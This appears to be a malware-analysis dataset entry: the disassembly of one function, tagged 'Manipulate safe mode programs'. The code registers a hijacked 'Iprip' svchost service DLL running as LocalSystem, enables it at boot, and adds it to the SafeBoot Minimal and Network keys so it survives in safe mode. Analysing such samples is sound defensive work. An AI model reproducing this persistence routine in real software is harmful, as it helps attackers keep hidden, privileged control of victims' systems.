Function at 0x10003d4d
Capabilities:
Manipulate safe mode programs

Disassembly:
mov eax, 0x1000d0ca
call fcn.10007e9c
sub esp, 0x4d0
lea ecx, [ebp - 0x454]
call fcn.100068c8
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10001000
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.10001000
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.10001000
mov byte [ebp - 4], 3
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.ControlSafeBootMinimalIprip_
push 0x100119a0
lea eax, [ebp - 0x464]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4a4], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4a4]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x464]
call fcn.100010fa
push 0x100108c4
push 0x10011ae8
lea ecx, [ebp - 0x454]
call fcn.10006997
push str.Service
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x10003e45
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003e58
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
push str.ControlSafeBootNetworkIprip_
push 0x100119a0
lea eax, [ebp - 0x46c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4ac]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x46c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x10003eda
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003eed
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
push str.ServicesIprip_
push 0x100119a0
lea eax, [ebp - 0x474]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4b4], eax
mov byte [ebp - 4], 6
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x45c]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x474]
call fcn.100010fa
lea ecx, [ebp - 0x45c]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
push 0x10010904
push str.ErrorControl
lea ecx, [ebp - 0x454]
call fcn.10006997
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
test eax, eax
je 0x10003f83
cmp dword [ebp - 0x18], 1
je 0x10003fe9
movzx eax, word [ebp - 0x30]
add eax, 0x5b95a95c
xor eax, 0x853ec5bb
cmp dword [ebp - 0x18], eax
jne 0x10003fd1
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006944
jmp 0x10004548
mov dword [ebp - 0x18], 1
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
push str._SystemRoot_System32_svchost.exe__k_netsvcs
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001094c
push str.ImagePath
lea ecx, [ebp - 0x454]
call fcn.10006997
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x10004038
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x1000404b
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
push str.LocalSystem
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001096c
push str.ObjectName
lea ecx, [ebp - 0x454]
call fcn.10006997
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x1000409a
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x100040ad
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
push 0x10010980
push str.Start
lea ecx, [ebp - 0x454]
call fcn.10006997
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
test eax, eax
je 0x100040dd
cmp dword [ebp - 0x18], 2
je 0x100040f5
mov dword [ebp - 0x18], 2
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
push 0x10010990
push str.Type
lea ecx, [ebp - 0x454]
call fcn.10006997
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
test eax, eax
je 0x10004125
cmp dword [ebp - 0x18], 0x20
je 0x1000413d
mov dword [ebp - 0x18], 0x20
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
push 0x100109a0
push str.DeleteFlag
lea ecx, [ebp - 0x454]
call fcn.10006997
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
test eax, eax
je 0x10004172
lea ecx, [ebp - 0x454]
call fcn.10006e84
push str.Parameters_
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x4bc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x47c]
call fcn.100010fa
push 0x100119f0
push 0x10011a20
lea eax, [ebp - 0x484]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
mov byte [ebp - 4], 8
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x484]
call fcn.100010fa
push 0x100109c0
push str.ServiceDll
lea ecx, [ebp - 0x454]
call fcn.10006997
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x10004257
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x1000427d
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
cmp dword [0x10011aa8], 0
je 0x1000427d
mov dword [0x10011aa4], 1
push str.InprocServer32_
push 0x10011a38
lea eax, [ebp - 0x48c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x4cc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48c]
call fcn.100010fa
push 0x100109e4
push 0x10011aec
lea ecx, [ebp - 0x454]
call fcn.10006997
cmp dword [0x10011a00], 1
jne 0x1000433e
push 0x100119e0
push 0x10011a20
lea eax, [ebp - 0x494]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d4], eax
mov byte [ebp - 4], 0xa
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x494]
call fcn.100010fa
jmp 0x1000438a
push 0x100119d8
push 0x10011a20
lea eax, [ebp - 0x49c]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x4dc], eax
mov byte [ebp - 4], 0xb
push dword [ebp - 0x4dc]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x49c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x100043b7
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006896
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x100043dd
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
cmp dword [0x10011aa8], 0
je 0x100043dd
mov dword [0x10011aa4], 1
mov ecx, 0x100119d0
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
push 0x100109ec
push str.Flags
lea ecx, [ebp - 0x454]
call fcn.10006997
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
test eax, eax
je 0x10004423
cmp dword [ebp - 0x18], 0
je 0x10004438
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d8c
mov ecx, 0x10011a58
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
push 0x100109fc
push 0x10011af0
lea ecx, [ebp - 0x454]
call fcn.10006997
push 0x10011af4
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
jne 0x1000449a
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
mov ecx, 0x10011998
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069be
push 0x10010a04
push str.netsvcs
lea ecx, [ebp - 0x454]
call fcn.10006997
push 2
push 1
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
test eax, eax
je 0x10004512
push 0x10010a14
lea ecx, [ebp - 0x20]
call fcn.100014ae
test eax, eax
jge 0x10004512
push str.Iprip
push 0x10010a28
lea ecx, [ebp - 0x20]
call fcn.10001a26
push 2
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9f
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006944
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret